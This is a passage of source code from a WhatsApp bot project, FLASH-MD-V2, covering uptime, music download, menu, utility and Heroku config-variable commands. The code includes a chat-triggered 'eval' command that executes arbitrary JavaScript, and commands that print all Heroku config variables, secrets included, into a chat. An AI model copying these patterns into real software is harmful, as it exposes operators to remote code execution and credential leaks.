`BEGIN:VCARD\nVERSION:3.0\nN:;a,;;;\nFN:FLASH-MD-V2\nitem1.TEL;waid=${senderId}:${senderId}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, 38 | }, 39 | }, 40 | }); 41 | 42 | function formatUptime(ms) { 43 | const sec = Math.floor(ms / 1000) % 60; 44 | const min = Math.floor(ms / (1000 * 60)) % 60; 45 | const hr = Math.floor(ms / (1000 * 60 * 60)) % 24; 46 | const day = Math.floor(ms / (1000 * 60 * 60 * 24)); 47 | const parts = []; 48 | if (day === 1) parts.push(`1 day`); 49 | else if (day > 1) parts.push(`${day} days`); 50 | if (hr === 1) parts.push(`1 hour`); 51 | else if (hr > 1) parts.push(`${hr} h`); 52 | if (min === 1) parts.push(`1 minute`); 53 | else if (min > 1) parts.push(`${min} m`); 54 | if (sec === 1) parts.push(`1 second`); 55 | else if (sec > 1 || parts.length === 0) parts.push(`${sec} s`); 56 | return parts.join(', ') || '0 second'; 57 | } 58 | 59 | module.exports = [ 60 | { 61 | name: 'alive', 62 | get flashOnly() { 63 | return franceking(); 64 | }, 65 | aliases: ['status', 'bot'], 66 | description: 'Check if the bot is alive with uptime and ping.', 67 | category: 'General', 68 | execute: async (king, msg) => { 69 | const fromJid = msg.key.remoteJid; 70 | const senderId = getSenderId(msg); 71 | const start = now(); 72 | 73 | const initialMsg = await king.sendMessage(fromJid, { 74 | text: '🔄 Checking bot status...' 75 | }, { 76 | quoted: createQuotedContact(senderId) 77 | }); 78 | 79 | const latency = (now() - start).toFixed(0); 80 | await new Promise(res => setTimeout(res, 1000)); 81 | 82 | const uptime = Date.now() - global.botStartTime; 83 | const formattedUptime = formatUptime(uptime); 84 | const platform = detectPlatform(); 85 | const ramUsage = (process.memoryUsage().rss / 1024 / 1024).toFixed(1); 86 | 87 | const finalText = `🟢 *FLASH-MD-V2 IS ONLINE* 88 | 89 | *⏱️ Uptime:* ${formattedUptime} 90 | *🏓 Ping:* ${latency} ms 91 | *🖥️ Platform:* ${platform} 92 | *💾 RAM Usage:* ${ramUsage} MB 93 | 94 | _Type *!help* to view all available commands._`; 95 | 96 | await king.sendMessage(fromJid, { 97 | text: finalText, 98 | contextInfo: { 99 | forwardingScore: 1, 100 | isForwarded: true, 101 | forwardedNewsletterMessageInfo: { 102 | newsletterJid: '120363238139244263@newsletter', 103 | newsletterName: 'FLASH-MD', 104 | serverMessageId: -1 105 | } 106 | } 107 | }, { quoted: initialMsg }); 108 | } 109 | } 110 | ]; 111 | -------------------------------------------------------------------------------- /commands/Sing.jss: -------------------------------------------------------------------------------- 1 | const ytdl = require('../france/Yt'); 2 | const yts = require('yt-search'); 3 | const axios = require('axios'); 4 | const fs = require('fs'); 5 | const path = require('path'); 6 | const mm = require('music-metadata'); 7 | const ffmpeg = require('fluent-ffmpeg'); 8 | 9 | // Helper: Check if MP3 buffer is valid 10 | async function isValidMp3Buffer(buffer) { 11 | try { 12 | const metadata = await mm.parseBuffer(buffer, 'audio/mpeg'); 13 | return metadata.format.container === 'MPEG' && metadata.format.duration > 0; 14 | } catch { 15 | return false; 16 | } 17 | } 18 | 19 | // Helper: Wait until FFmpeg output file stabilizes 20 | async function waitForFileToStabilize(filePath, timeout = 5000) { 21 | let lastSize = -1; 22 | let stableCount = 0; 23 | const interval = 200; 24 | 25 | return new Promise((resolve, reject) => { 26 | const start = Date.now(); 27 | const timer = setInterval(async () => { 28 | try { 29 | const { size } = await fs.promises.stat(filePath); 30 | if (size === lastSize) { 31 | stableCount++; 32 | if (stableCount >= 3) { 33 | clearInterval(timer); 34 | return resolve(); 35 | } 36 | } else { 37 | stableCount = 0; 38 | lastSize = size; 39 | } 40 | 41 | if (Date.now() - start > timeout) { 42 | clearInterval(timer); 43 | return reject(new Error("File stabilization timed out.")); 44 | } 45 | } catch (err) {} 46 | }, interval); 47 | }); 48 | } 49 | 50 | // Helper: Re-encode buffer using FFmpeg to make WhatsApp-compatible 51 | async function reencodeMp3(buffer) { 52 | const inputPath = path.join(__dirname, 'input.mp3'); 53 | const outputPath = path.join(__dirname, 'output.mp3'); 54 | fs.writeFileSync(inputPath, buffer); 55 | 56 | return new Promise((resolve, reject) => { 57 | ffmpeg(inputPath) 58 | .audioCodec('libmp3lame') 59 | .audioBitrate('128k') 60 | .audioFrequency(44100) 61 | .on('end', async () => { 62 | try { 63 | await waitForFileToStabilize(outputPath); 64 | const fixedBuffer = fs.readFileSync(outputPath); 65 | resolve(fixedBuffer); 66 | } catch (err) { 67 | reject(err); 68 | } 69 | }) 70 | .on('error', reject) 71 | .save(outputPath); 72 | }); 73 | } 74 | 75 | // Main Command 76 | module.exports = { 77 | name: 'sing', 78 | aliases: ['yt', 'song'], 79 | description: 'Play and download YouTube audio from link or search query.', 80 | category: 'Media', 81 | 82 | execute: async (king, msg, args, fromJid) => { 83 | if (!args.length) { 84 | return king.sendMessage(fromJid, { 85 | text: '🎵 *Provide a YouTube link or search query.*\nExample: `.sing Shape of You`' 86 | }, { quoted: msg }); 87 | } 88 | 89 | let query = args.join(' '); 90 | let url = ''; 91 | 92 | try { 93 | // Check if it's a YouTube URL 94 | if (query.includes('youtube.com') || query.includes('youtu.be')) { 95 | url = query; 96 | } else { 97 | // Search YouTube 98 | const result = await yts(query); 99 | if (!result.videos.length) { 100 | return king.sendMessage(fromJid, { 101 | text: '❌ No results found for your query.' 102 | }, { quoted: msg }); 103 | } 104 | const video = result.videos[0]; 105 | url = video.url; 106 | query = video.title; 107 | } 108 | 109 | // Download MP3 URL 110 | const { mp3 } = await ytdl(url); 111 | if (!mp3) { 112 | return king.sendMessage(fromJid, { 113 | text: '⚠️ Failed to download audio. Try another link or query.' 114 | }, { quoted: msg }); 115 | } 116 | 117 | // Download audio as buffer 118 | const response = await axios.get(mp3, { 119 | responseType: 'arraybuffer', 120 | headers: { 'User-Agent': 'Mozilla/5.0' } 121 | }); 122 | const audioBuffer = Buffer.from(response.data); 123 | 124 | // Validate audio 125 | let finalBuffer = audioBuffer; 126 | const isValid = await isValidMp3Buffer(audioBuffer); 127 | if (!isValid) { 128 | await king.sendMessage(fromJid, { 129 | text: '🔧 Re-encoding audio for WhatsApp compatibility...' 130 | }, { quoted: msg }); 131 | 132 | try { 133 | finalBuffer = await reencodeMp3(audioBuffer); 134 | } catch (err) { 135 | return king.sendMessage(fromJid, { 136 | text: '❌ Re-encoding failed. Please try another song.' 137 | }, { quoted: msg }); 138 | } 139 | } 140 | 141 | // Send audio file 142 | await king.sendMessage(fromJid, { 143 | audio: finalBuffer, 144 | mimetype: 'audio/mpeg', 145 | ptt: false, 146 | fileName: `${query}.mp3` 147 | }, { quoted: msg }); 148 | 149 | } catch (err) { 150 | console.error('Error in sing command:', err); 151 | return king.sendMessage(fromJid, { 152 | text: '❌ Something went wrong while processing your request.' 153 | }, { quoted: msg }); 154 | } 155 | } 156 | }; 157 | -------------------------------------------------------------------------------- /commands/Heroku.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const Heroku = require('heroku-client'); 3 | 4 | function getHerokuClient() { 5 | const apiKey = process.env.HEROKU_API_KEY; 6 | const appName = process.env.HEROKU_APP_NAME; 7 | 8 | if (!apiKey || !appName) { 9 | throw new Error('Missing HEROKU_API_KEY or HEROKU_APP_NAME in environment variables.'); 10 | } 11 | 12 | return { 13 | heroku: new Heroku({ token: apiKey }), 14 | baseURI: `/apps/${appName}` 15 | }; 16 | } 17 | 18 | module.exports = [ 19 | { 20 | name: 'addvar', 21 | get flashOnly() { 22 | return franceking(); 23 | }, 24 | description: 'Adds a new Heroku config variable.', 25 | category: 'HEROKU', 26 | ownerOnly: true, 27 | execute: async (king, msg, args) => { 28 | const fromJid = msg.key.remoteJid; 29 | 30 | const input = args.join(" "); 31 | if (!input.includes("=")) { 32 | return king.sendMessage(fromJid, { text: "Invalid format. Usage: addvar VAR_NAME=VALUE" }, { quoted: msg }); 33 | } 34 | 35 | const [varName, varValue] = input.split("=").map(s => s.trim()); 36 | if (!/^[A-Z_]+$/.test(varName)) { 37 | return king.sendMessage(fromJid, { text: "Variable name must be uppercase." }, { quoted: msg }); 38 | } 39 | 40 | try { 41 | const { heroku, baseURI } = getHerokuClient(); 42 | await heroku.patch(baseURI + "/config-vars", { body: { [varName]: varValue } }); 43 | await king.sendMessage(fromJid, { text: `Variable *${varName}* added! Restarting...` }, { quoted: msg }); 44 | process.exit(0); 45 | } catch (e) { 46 | await king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); 47 | } 48 | } 49 | }, 50 | 51 | { 52 | name: 'delvar', 53 | get flashOnly() { 54 | return franceking(); 55 | }, 56 | description: 'Deletes a Heroku config variable.', 57 | category: 'HEROKU', 58 | ownerOnly: true, 59 | execute: async (king, msg, args) => { 60 | const fromJid = msg.key.remoteJid; 61 | 62 | const varName = args[0]; 63 | if (!varName || !/^[A-Z_]+$/.test(varName)) { 64 | return king.sendMessage(fromJid, { text: "Provide an uppercase variable name." }, { quoted: msg }); 65 | } 66 | 67 | try { 68 | const { heroku, baseURI } = getHerokuClient(); 69 | await heroku.patch(baseURI + "/config-vars", { body: { [varName]: null } }); 70 | await king.sendMessage(fromJid, { text: `Variable *${varName}* deleted. Restarting...` }, { quoted: msg }); 71 | process.exit(0); 72 | } catch (e) { 73 | await king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); 74 | } 75 | } 76 | }, 77 | 78 | { 79 | name: 'setvar', 80 | get flashOnly() { 81 | return franceking(); 82 | }, 83 | description: 'Updates or sets a Heroku config variable.', 84 | category: 'HEROKU', 85 | ownerOnly: true, 86 | execute: async (king, msg, args) => { 87 | const fromJid = msg.key.remoteJid; 88 | 89 | const input = args.join(" "); 90 | if (!input.includes("=")) { 91 | return king.sendMessage(fromJid, { text: "Usage: setvar VAR_NAME=VALUE" }, { quoted: msg }); 92 | } 93 | 94 | const [varName, varValue] = input.split("=").map(s => s.trim()); 95 | 96 | try { 97 | const { heroku, baseURI } = getHerokuClient(); 98 | await heroku.patch(baseURI + "/config-vars", { body: { [varName]: varValue } }); 99 | await king.sendMessage(fromJid, { text: `Variable *${varName}* set. Restarting...` }, { quoted: msg }); 100 | process.exit(0); 101 | } catch (e) { 102 | await king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); 103 | } 104 | } 105 | }, 106 | 107 | { 108 | name: 'getvar', 109 | get flashOnly() { 110 | return franceking(); 111 | }, 112 | description: 'Fetches a specific Heroku config variable.', 113 | category: 'HEROKU', 114 | ownerOnly: true, 115 | execute: async (king, msg, args) => { 116 | const fromJid = msg.key.remoteJid; 117 | 118 | const varName = args[0]; 119 | if (!varName) { 120 | return king.sendMessage(fromJid, { text: "Provide a variable name." }, { quoted: msg }); 121 | } 122 | 123 | try { 124 | const { heroku, baseURI } = getHerokuClient(); 125 | const vars = await heroku.get(baseURI + "/config-vars"); 126 | 127 | if (vars[varName]) { 128 | king.sendMessage(fromJid, { text: `*${varName}* = ${vars[varName]}` }, { quoted: msg }); 129 | } else { 130 | king.sendMessage(fromJid, { text: `Variable *${varName}* not found.` }, { quoted: msg }); 131 | } 132 | } catch (e) { 133 | king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); 134 | } 135 | } 136 | }, 137 | 138 | { 139 | name: 'allvar', 140 | get flashOnly() { 141 | return franceking(); 142 | }, 143 | description: 'Lists all Heroku environment variables.', 144 | category: 'HEROKU', 145 | ownerOnly: true, 146 | execute: async (king, msg) => { 147 | const fromJid = msg.key.remoteJid; 148 | 149 | try { 150 | const { heroku, baseURI } = getHerokuClient(); 151 | const vars = await heroku.get(baseURI + "/config-vars"); 152 | 153 | let reply = '*HEROKU CONFIG VARS*\n\n'; 154 | for (const key in vars) { 155 | reply += `*${key}* = ${vars[key]}\n`; 156 | } 157 | 158 | king.sendMessage(fromJid, { text: reply }, { quoted: msg }); 159 | } catch (e) { 160 | king.sendMessage(fromJid, { text: 'Error: ' + e.message }, { quoted: msg }); 161 | } 162 | } 163 | } 164 | ]; 165 | -------------------------------------------------------------------------------- /commands/Menu.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const os = require('os'); 3 | const moment = require('moment-timezone'); 4 | const config = require('../config.js'); 5 | const axios = require('axios'); 6 | 7 | const startTime = Date.now(); 8 | 9 | const styles = { 10 | 10: { 11 | "a": "ᴀ", "b": "ʙ", "c": "ᴄ", "d": "ᴅ", "e": "ᴇ", "f": "ғ", "g": "ɢ", "h": "ʜ", "i": "ɪ", "j": "ᴊ", 12 | "k": "ᴋ", "l": "ʟ", "m": "ᴍ", "n": "ɴ", "o": "ᴏ", "p": "ᴘ", "q": "ϙ", "r": "ʀ", "s": "s", "t": "ᴛ", 13 | "u": "ᴜ", "v": "v", "w": "ᴡ", "x": "x", "y": "ʏ", "z": "ᴢ", 14 | "A": "ᴀ", "B": "ʙ", "C": "ᴄ", "D": "ᴅ", "E": "ᴇ", "F": "ғ", "G": "ɢ", "H": "ʜ", "I": "ɪ", "J": "ᴊ", 15 | "K": "ᴋ", "L": "ʟ", "M": "ᴍ", "N": "ɴ", "O": "ᴏ", "P": "ᴘ", "Q": "ϙ", "R": "ʀ", "S": "s", "T": "ᴛ", 16 | "U": "ᴜ", "V": "v", "W": "ᴡ", "X": "x", "Y": "ʏ", "Z": "ᴢ" 17 | } 18 | }; 19 | 20 | const applyStyle = (text, styleNum) => { 21 | const map = styles[styleNum]; 22 | return text.split('').map(c => map[c] || c).join(''); 23 | }; 24 | 25 | const formatUptime = ms => { 26 | const sec = Math.floor(ms / 1000) % 60; 27 | const min = Math.floor(ms / (1000 * 60)) % 60; 28 | const hr = Math.floor(ms / (1000 * 60 * 60)) % 24; 29 | const day = Math.floor(ms / (1000 * 60 * 60 * 24)); 30 | const parts = []; 31 | if (day === 1) parts.push(`1 day`); 32 | else if (day > 1) parts.push(`${day} days`); 33 | if (hr === 1) parts.push(`1 hour`); 34 | else if (hr > 1) parts.push(`${hr} h`); 35 | if (min === 1) parts.push(`1 minute`); 36 | else if (min > 1) parts.push(`${min} m`); 37 | if (sec === 1) parts.push(`1 second`); 38 | else if (sec > 1 || parts.length === 0) parts.push(`${sec} s`); 39 | return parts.join(', '); 40 | }; 41 | 42 | const detectPlatform = () => { 43 | const hostEnv = process.env.HOST_PROVIDER?.toLowerCase(); 44 | const providers = { 45 | 'optiklink': 'Optiklink.com', 46 | 'bot-hosting': 'Bot-Hosting.net', 47 | 'heroku': 'Heroku', 48 | 'railway': 'Railway', 49 | 'koyeb': 'Koyeb', 50 | 'render': 'Render', 51 | 'github': 'GitHub Actions', 52 | 'katabump': 'Katabump.com' 53 | }; 54 | if (hostEnv && providers[hostEnv]) return providers[hostEnv]; 55 | if (process.env.RAILWAY_STATIC_URL || process.env.RAILWAY_ENVIRONMENT) return 'Railway'; 56 | if (process.env.KOYEB_ENV) return 'Koyeb'; 57 | if (process.env.RENDER) return 'Render'; 58 | if (process.env.GITHUB_WORKFLOW || process.env.GITHUB_ACTIONS) return 'GitHub Actions'; 59 | if (process.env.DYNO) return 'Heroku'; 60 | return 'Unknown (Linux)'; 61 | }; 62 | 63 | const fetchRepoStats = async () => { 64 | try { 65 | const response = await axios.get('https://api.github.com/repos/franceking1/Flash-Md-V2'); 66 | const { forks_count, stargazers_count } = response.data; 67 | return { 68 | forks: forks_count || 0, 69 | stars: stargazers_count || 0 70 | }; 71 | } catch { 72 | return { forks: 0, stars: 0 }; 73 | } 74 | }; 75 | 76 | module.exports = [ 77 | { 78 | name: 'menu', 79 | get flashOnly() { 80 | return franceking(); 81 | }, 82 | aliases: [], 83 | description: 'Displays categorized list of commands', 84 | category: 'General', 85 | execute: async (king, msg, args, fromJid, allCommands) => { 86 | const time = moment().tz(config.timezone || 'Africa/Lagos'); 87 | const uptime = formatUptime(Date.now() - startTime); 88 | const platform = detectPlatform(); 89 | const usedMem = ((os.totalmem() - os.freemem()) / 1024 / 1024 / 1024).toFixed(2); 90 | const totalMem = (os.totalmem() / 1024 / 1024 / 1024).toFixed(2); 91 | const { forks, stars } = await fetchRepoStats(); 92 | const users = (stars * 3) + (forks * 2); 93 | const usersFormatted = users.toLocaleString(); 94 | const starsFormatted = stars.toLocaleString(); 95 | const forksFormatted = forks.toLocaleString(); 96 | const prefix = config.prefixes.join(', ') || ''; 97 | const botOwner = config.ON || 'Unknown'; 98 | 99 | const categorized = {}; 100 | for (const cmd of allCommands) { 101 | const category = cmd.category ? cmd.category.toUpperCase() : 'GENERAL'; 102 | if (!categorized[category]) categorized[category] = []; 103 | categorized[category].push(cmd); 104 | } 105 | 106 | let text = `╭━━━❒ ${applyStyle("FLASH-MD System INFO", 10)} ❒━━━╮\n`; 107 | text += `┃ 🧩 *Commands:* ${allCommands.length.toLocaleString()}\n`; 108 | text += `┃ 🪄 *Prefix:* ${prefix}\n`; 109 | text += `┃ ⏰ *Time:* ${time.format('HH:mm:ss')}\n`; 110 | text += `┃ 🌍 *Timezone:* ${config.timezone || 'Africa/Lagos'}\n`; 111 | text += `┃ 📅 *Date:* ${time.format('DD/MM/YYYY')}\n`; 112 | text += `┃ 🔋 *Uptime:* ${uptime}\n`; 113 | text += `┃ 💻 *Platform:* ${platform}\n`; 114 | text += `┃ 💾 *RAM:* ${usedMem}/${totalMem} GB\n`; 115 | text += `┃ 👥 *Users:* ${usersFormatted}\n`; 116 | text += `┃ 👑 *Owner:* ${botOwner}\n`; 117 | text += `╰━━━━━━❒ ${applyStyle("Version 2.5", 10)} ❒━━━━━╯\n\n`; 118 | 119 | let counter = 1; 120 | const sortedCategories = Object.keys(categorized).sort(); 121 | for (const category of sortedCategories) { 122 | const commandsInCategory = categorized[category] 123 | .filter(c => c.name) 124 | .sort((a, b) => a.name.localeCompare(b.name)); 125 | if (commandsInCategory.length === 0) continue; 126 | text += `*╭──❒ ${applyStyle(category, 10)} ❒───⊷*\n`; 127 | text += `│╭────────────\n`; 128 | for (const cmd of commandsInCategory) { 129 | text += `││ ${counter++}. ${applyStyle(cmd.name, 10)}\n`; 130 | } 131 | text += `│╰────────────\n`; 132 | text += `╰══════════════⊷\n\n`; 133 | } 134 | 135 | await king.sendMessage(fromJid, { 136 | text, 137 | contextInfo: { 138 | forwardingScore: 1, 139 | isForwarded: true, 140 | forwardedNewsletterMessageInfo: { 141 | newsletterJid: '120363238139244263@newsletter', 142 | newsletterName: 'FLASH-MD', 143 | serverMessageId: -1 144 | } 145 | } 146 | }); 147 | } 148 | }, 149 | 150 | { 151 | name: 'help', 152 | get flashOnly() { 153 | return franceking(); 154 | }, 155 | aliases: ['list'], 156 | description: 'Provides help and guide for new users', 157 | category: 'General', 158 | execute: async (sock, msg, args, fromJid, allCommands) => { 159 | const prefix = Array.isArray(config.prefixes) && config.prefixes.length > 0 ? config.prefixes[0] : '.'; 160 | let text = `*🛠️ FLASH-MD-V2 USER GUIDE*\n\n`; 161 | text += `To use the bot:\n`; 162 | text += `• Start commands with the prefix *${prefix}*\n`; 163 | text += `• Use ${prefix}menu to view all available commands\n`; 164 | text += `*COMMANDS LIST:*\n\n`; 165 | 166 | const categorized = {}; 167 | for (const cmd of allCommands) { 168 | const category = cmd.category ? cmd.category.toUpperCase() : 'GENERAL'; 169 | if (!categorized[category]) categorized[category] = []; 170 | categorized[category].push(cmd); 171 | } 172 | 173 | for (const [cat, cmds] of Object.entries(categorized)) { 174 | if (cmds.length === 0) continue; 175 | text += `📂 *${cat}*\n`; 176 | for (const cmd of cmds) { 177 | text += `• *${cmd.name}* - ${cmd.description}`; 178 | if (cmd.aliases && cmd.aliases.length > 0) { 179 | text += ` (Aliases: ${cmd.aliases.join(', ')})`; 180 | } 181 | text += `\n`; 182 | } 183 | text += `\n`; 184 | } 185 | 186 | await sock.sendMessage(fromJid, { 187 | text, 188 | contextInfo: { 189 | forwardingScore: 1, 190 | isForwarded: true, 191 | forwardedNewsletterMessageInfo: { 192 | newsletterJid: '120363238139244263@newsletter', 193 | newsletterName: 'FLASH-MD', 194 | serverMessageId: -1 195 | } 196 | } 197 | }); 198 | } 199 | } 200 | ]; 201 | -------------------------------------------------------------------------------- /commands/General.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const axios = require('axios'); 3 | const fetch = require('node-fetch'); 4 | const conf = require('../config'); 5 | const translate = require('../france/Trt'); 6 | 7 | module.exports = [ 8 | { 9 | name: 'trt', 10 | get flashOnly() { 11 | return franceking(); 12 | }, 13 | aliases: ['translate'], 14 | description: 'Translate a replied message to the specified language.', 15 | category: 'General', 16 | execute: async (king, msg, args) => { 17 | const fromJid = msg.key.remoteJid; 18 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 19 | 20 | if (!quoted) { 21 | return king.sendMessage(fromJid, { 22 | text: 'Please reply to the message you want to translate.\nExample: trt fr' 23 | }, { quoted: msg }); 24 | } 25 | 26 | if (args.length !== 1) { 27 | return king.sendMessage(fromJid, { 28 | text: 'Please provide only the language code.\nExample: trt fr' 29 | }, { quoted: msg }); 30 | } 31 | 32 | const lang = args[0].toLowerCase(); 33 | const textToTranslate = quoted?.conversation || quoted?.extendedTextMessage?.text || ''; 34 | 35 | if (!textToTranslate) { 36 | return king.sendMessage(fromJid, { text: 'The replied message does not contain text.' }, { quoted: msg }); 37 | } 38 | 39 | try { 40 | const translated = await translate(textToTranslate, { to: lang }); 41 | await king.sendMessage(fromJid, { text: translated }, { quoted: msg }); 42 | } catch (error) { 43 | await king.sendMessage(fromJid, { 44 | text: 'Translation failed. Please check the language code.' 45 | }, { quoted: msg }); 46 | } 47 | } 48 | }, 49 | { 50 | name: 'owner', 51 | get flashOnly() { 52 | return franceking(); 53 | }, 54 | description: 'Sends contact card of the bot owner.', 55 | category: 'General', 56 | execute: async (king, msg, args) => { 57 | const fromJid = msg.key.remoteJid; 58 | const vcard = 59 | 'BEGIN:VCARD\n' + 60 | 'VERSION:3.0\n' + 61 | `FN:${conf.ON}\n` + 62 | 'ORG:undefined;\n' + 63 | `TEL;type=CELL;type=VOICE;waid=${conf.NUMBER}:${conf.NUMBER}\n` + 64 | 'END:VCARD'; 65 | 66 | await king.sendMessage(fromJid, { 67 | contacts: { 68 | displayName: conf.ON, 69 | contacts: [{ vcard }] 70 | } 71 | }, { quoted: msg }); 72 | } 73 | }, 74 | { 75 | name: 'ss', 76 | get flashOnly() { 77 | return franceking(); 78 | }, 79 | description: 'Takes a screenshot of a website.', 80 | category: 'General', 81 | execute: async (king, msg, args) => { 82 | const fromJid = msg.key.remoteJid; 83 | const url = args.join(' '); 84 | if (!url) { 85 | return king.sendMessage(fromJid, { text: 'Provide a link to screenshot.' }, { quoted: msg }); 86 | } 87 | 88 | try { 89 | const screenshotUrl = `https://api.diioffc.web.id/api/tools/sstab?url=${encodeURIComponent(url)}`; 90 | const response = await axios.get(screenshotUrl, { responseType: 'arraybuffer' }); 91 | 92 | await king.sendMessage(fromJid, { 93 | image: response.data, 94 | caption: '*FLASH-MD WEB SCREENSHOT*' 95 | }, { quoted: msg }); 96 | } catch (error) { 97 | console.error('ssCommand error:', error); 98 | await king.sendMessage(fromJid, { text: 'Failed to take website screenshot.' }, { quoted: msg }); 99 | } 100 | } 101 | }, 102 | { 103 | name: 'bible', 104 | get flashOnly() { 105 | return franceking(); 106 | }, 107 | description: 'Get a Bible verse from a specific book, chapter, and verse.', 108 | category: 'General', 109 | execute: async (king, msg, args) => { 110 | const fromJid = msg.key.remoteJid; 111 | const verse = args.join(' '); 112 | 113 | if (!verse) { 114 | return king.sendMessage(fromJid, { text: 'Usage: bible john 3:16' }, { quoted: msg }); 115 | } 116 | 117 | try { 118 | const response = await fetch(`https://bible-api.com/${verse}`); 119 | if (!response.ok) { 120 | return king.sendMessage(fromJid, { text: 'Invalid reference. Try: bible john 3:16' }, { quoted: msg }); 121 | } 122 | 123 | const data = await response.json(); 124 | const bibleText = `📖 *THE HOLY BIBLE*\n\n📜 ${data.reference}\n🔢 Verses: ${data.verses.length}\n📝 ${data.text}\n🌍 Language: ${data.translation_name}\n\n*Powered by FLASH-MD*`; 125 | 126 | await king.sendMessage(fromJid, { text: bibleText }, { quoted: msg }); 127 | } catch (error) { 128 | await king.sendMessage(fromJid, { text: 'Error fetching verse.' }, { quoted: msg }); 129 | } 130 | } 131 | }, 132 | { 133 | name: 'poll', 134 | get flashOnly() { 135 | return franceking(); 136 | }, 137 | description: 'Create a poll.', 138 | category: 'General', 139 | execute: async (king, msg, args) => { 140 | const fromJid = msg.key.remoteJid; 141 | const input = args.join(' '); 142 | const [question, optionsString] = input.split('/'); 143 | if (!question || !optionsString) { 144 | return king.sendMessage(fromJid, { text: 'Usage: poll What is 2+2?/2,3,4' }, { quoted: msg }); 145 | } 146 | 147 | const options = optionsString.split(',').map(opt => opt.trim()); 148 | await king.sendMessage(fromJid, { 149 | poll: { 150 | name: question.trim(), 151 | values: options 152 | } 153 | }, { quoted: msg }); 154 | } 155 | }, 156 | { 157 | name: 'fact', 158 | get flashOnly() { 159 | return franceking(); 160 | }, 161 | description: 'Get a random fact.', 162 | category: 'User', 163 | execute: async (king, msg) => { 164 | const fromJid = msg.key.remoteJid; 165 | const response = await fetch('https://nekos.life/api/v2/fact'); 166 | const data = await response.json(); 167 | 168 | await king.sendMessage(fromJid, { 169 | text: `◆━━━━━━✦FACT✦━━━━━━◆\n◇ ${data.fact}\n◇ Powered by France King\n◇ KEEP USING FLASH-MD` 170 | }, { quoted: msg }); 171 | } 172 | }, 173 | { 174 | name: 'quotes', 175 | get flashOnly() { 176 | return franceking(); 177 | }, 178 | description: 'Get a random quote.', 179 | category: 'User', 180 | execute: async (king, msg) => { 181 | const fromJid = msg.key.remoteJid; 182 | const response = await fetch('https://favqs.com/api/qotd'); 183 | const data = await response.json(); 184 | const quote = data.quote; 185 | 186 | const message = `◆━━━━━━✦QUOTE✦━━━━━━◆\n◇ "${quote.body}"\n◇ — ${quote.author}\n◇ Powered by France King\n◇ KEEP USING FLASH-MD`; 187 | 188 | await king.sendMessage(fromJid, { text: message }, { quoted: msg }); 189 | } 190 | }, 191 | { 192 | name: 'define', 193 | get flashOnly() { 194 | return franceking(); 195 | }, 196 | description: 'Get a definition for a term.', 197 | category: 'Search', 198 | execute: async (king, msg, args) => { 199 | const fromJid = msg.key.remoteJid; 200 | if (!args.length) { 201 | return king.sendMessage(fromJid, { text: 'Provide a term to define.' }, { quoted: msg }); 202 | } 203 | 204 | const query = args.join(' '); 205 | try { 206 | const { data } = await axios.get(`http://api.urbandictionary.com/v0/define?term=${query}`); 207 | const def = data.list[0]; 208 | const text = `📚 Word: ${query}\n📝 Definition: ${def.definition.replace(/[]/g, '')}\n💡 Example: ${def.example.replace(/[]/g, '')}`; 209 | return king.sendMessage(fromJid, { text }, { quoted: msg }); 210 | } catch { 211 | return king.sendMessage(fromJid, { text: `No definition found for "${query}".` }, { quoted: msg }); 212 | } 213 | } 214 | }, 215 | { 216 | name: 'eval', 217 | get flashOnly() { 218 | return franceking(); 219 | }, 220 | aliases: ['evaluate'], 221 | description: 'Evaluate JavaScript code (owner only).', 222 | category: 'General', 223 | ownerOnly: true, 224 | execute: async (king, msg, args) => { 225 | const fromJid = msg.key.remoteJid; 226 | if (!args.length) { 227 | return king.sendMessage(fromJid, { text: 'Provide code to evaluate. Example: >2+2' }, { quoted: msg }); 228 | } 229 | 230 | const code = args.join(' '); 231 | if (code.startsWith('>')) { 232 | try { 233 | let result = await eval(code.slice(1)); 234 | if (typeof result !== 'string') { 235 | result = require('util').inspect(result); 236 | } 237 | await king.sendMessage(fromJid, { text: result }, { quoted: msg }); 238 | } catch (err) { 239 | await king.sendMessage(fromJid, { text: `Error: ${err.message}` }, { quoted: msg }); 240 | } 241 | } 242 | } 243 | } 244 | ]; 245 | -------------------------------------------------------------------------------- /commands/Play.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const axios = require('axios'); 3 | const yts = require('yt-search'); 4 | 5 | const BASE_URL = 'https://noobs-api.top'; 6 | 7 | module.exports = [ 8 | { 9 | name: 'play', 10 | get flashOnly() { 11 | return franceking(); 12 | }, 13 | aliases: ['music'], 14 | description: 'Search and play MP3 music from YouTube (audio only).', 15 | category: 'Search', 16 | execute: async (king, msg, args) => { 17 | const fromJid = msg.key.remoteJid; 18 | const query = args.join(' '); 19 | 20 | if (!query) { 21 | return king.sendMessage(fromJid, { 22 | text: 'Please provide a song name or keyword.' 23 | }, { quoted: msg }); 24 | } 25 | 26 | try { 27 | console.log('[PLAY] Searching YT for:', query); 28 | const search = await yts(query); 29 | const video = search.videos[0]; 30 | 31 | if (!video) { 32 | return king.sendMessage(fromJid, { 33 | text: 'No results found for your query.' 34 | }, { quoted: msg }); 35 | } 36 | 37 | const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); 38 | const fileName = `${safeTitle}.mp3`; 39 | const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp3`; 40 | 41 | const response = await axios.get(apiURL); 42 | const data = response.data; 43 | 44 | if (!data.downloadLink) { 45 | return king.sendMessage(fromJid, { 46 | text: 'Failed to retrieve the MP3 download link.' 47 | }, { quoted: msg }); 48 | } 49 | 50 | const message = { 51 | image: { url: video.thumbnail }, 52 | caption: 53 | `*FLASH-MD SONG PLAYER*\n\n` + 54 | `╭───────────────◆\n` + 55 | `│⿻ *Title:* ${video.title}\n` + 56 | `│⿻ *Duration:* ${video.timestamp}\n` + 57 | `│⿻ *Views:* ${video.views.toLocaleString()}\n` + 58 | `│⿻ *Uploaded:* ${video.ago}\n` + 59 | `│⿻ *Channel:* ${video.author.name}\n` + 60 | `╰────────────────◆\n\n` + 61 | `🔗 